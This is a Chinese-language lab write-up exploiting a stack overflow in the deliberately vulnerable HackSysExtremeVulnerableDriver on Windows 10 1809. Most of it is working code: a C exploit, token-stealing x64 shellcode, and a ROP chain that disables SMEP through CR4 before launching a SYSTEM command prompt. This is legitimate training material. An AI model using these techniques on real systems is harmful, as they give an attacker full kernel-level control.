还是原来的味道,只不过味道乘以2
环境 仅适用win10x64 1809
很明显,当用户输入长度大于0x800时候会溢出
先编写小于0x800长度的试试水
#include <windows.h>
#include <stdio.h>
int buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
DeviceIoControl(hDriver, 0x222003, buf, 0x666, 0, 0, &dwBytesOut, NULL);
return 0;
}
如预期一样 没有异常
扩大长度
好了,崩溃了,老套路 打断点寻找memcpy的位置
注意的是为了防止意外再次方生,把缓冲区长度设置小于0x800
执行程序断下来p键步过跟踪到拷贝函数
bp fffff806`10871419 "j @r9==1 ‘’ ‘gc’"
当拷贝函数结束时栈是这样的
有意思的是像拷贝是往上溢出
然后把长度更改如下
很显然,溢出了,但是多溢出了,后面再减去就好了,然后编写shellcode替换0x41
我们知道在win7提权替换token的方法一般就是在r0下拿到当前线程然后从当前线程拿到当前进程,然后遍历进程,对比pid,当pid等于4就确定该进程是system进程,然后把该进程token替换当前进程,至此完成提权,win10下的提权也是一样,不过内核数据偏移不一样,好了,废话说多了,直接写代码
他娘娘的腿的,win10保护真多
#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
for (size_t i = 0; i < 0xf00; i++)
{
buf[i] = (DWORD64)&ShellCode;
}
DeviceIoControl(hDriver, 0x222003, buf, 0x800+40, 0, 0, &dwBytesOut, NULL);
return 0;
}
shellcode.asm
.code
ShellCode proc
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax +184] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7
mov rdx, 4h ; SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 2e8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp[rax + 2e0h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 358h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx
loc_1400865AE:
add rsp, 10h
xor rsi, rsi
xor rdi, rdi
xor rax, rax
ret
ShellCode endp
end
你会发现的确会进入shellcode但是走一步就会溢出,因为(SEMP)保护机制,在64位下地址前4个字节为符号位,如果前面4个字节不为FFFF就是用户模式下的代码,所以他检测的到了是在用户模式下进行的代码,然后就异常导致蓝屏
好了,得上ROP了,弄了一天终于搞定了
#include <windows.h>
#include <stdio.h>
#include"shellcode.h"
HANDLE hDriver;
DWORD dwBytesOut = 0;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _ROP {
PUCHAR PopRcxRet;
PUCHAR Cr4RegValue;
PUCHAR MovCr4EcxRet;
} ROP, * PROP;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
int main() {
CHAR* buf{};
buf = (CHAR*)malloc(2152);
DWORD64 a = (DWORD64)ShellCode;
LPVOID temp;
temp = VirtualAlloc(
NULL,
0x1000 ,MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(temp, &a, 0x100);
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
PUCHAR kernelBase = NULL;
ROP DisableSMEP, EnableSMEP;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = (PUCHAR)ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
DisableSMEP.PopRcxRet = kernelBase + 0x270fce;
DisableSMEP.Cr4RegValue = (PUCHAR)0x406f8;
DisableSMEP.MovCr4EcxRet = kernelBase + 0x16e437;
SecureZeroMemory(buf, 2152);
memset(buf, 0x41, 2152);
memcpy(buf + 2096, temp, sizeof(DWORD64));
memcpy(buf + 0x818, &DisableSMEP, sizeof(ROP));
//memcpy(buf + 2128, &EnableSMEP, sizeof(ROP));
wprintf(L" [+] shellcode is at: 0x%p \n", ShellCode);
wprintf(L" [+] Kernel Base Address is at: 0x%p \n", kernelBase);
wprintf(L" [+] pop rcx ; ret -> Gadget available at: 0x%p \n", DisableSMEP.PopRcxRet);
wprintf(L" [+] New value of CR4 register: 0x%p \n", DisableSMEP.Cr4RegValue);
wprintf(L" [+] mov cr4, ecx ; ret -> Gadget available at: 0x%p \n\n", DisableSMEP.MovCr4EcxRet);
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
return(-1);
}
system("pause");
DeviceIoControl(hDriver, 0x222003, buf, 0x838, 0, 0, &dwBytesOut, NULL);
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
return 0;
}
shellcode.asm
.code
ShellCode proc
xor rax, rax ; Set ZERO
mov rax, gs:[rax + 188h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax +220h] ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov r11, rcx ; Store Token.RefCnt
and r11, 7
mov rdx, 4h ; SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 2e8h] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp[rax + 2e0h], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 358h] ; Get SYSTEM process nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h
or rdx, r11
mov[rcx + 358h], rdx
loc_1400865AE:
add rsp, 10h
mov r12,0
mov r15,0
mov r14,0
mov rsi,00000000c00000bbh
mov rdi,4d
mov rdx,0
mov rbx,3
ret
ShellCode endp
end
爬坑总结
修改cr4寄存器的时候,传给cr4的寄存器的值一定要符合cr4寄存器的规范,不然蓝屏
执行shellcode的时候,如果正确修改了cr4还不能执行,一定要为shellcode分配虚拟内存
shellcode执行完了还要做回复堆栈平衡,一组图片总结
由于shellcode执行之前,之下了pop rcx,retn,mov cr4,rcx,retn,所以恢复堆栈由add rsp 28h变成10h
关于kalsr绕过,由于定位的rop地址来自第一个内核模块的系统指令,所以直接绕过
最后关于ida寻找ait+t 寻找rop指令(注意空格)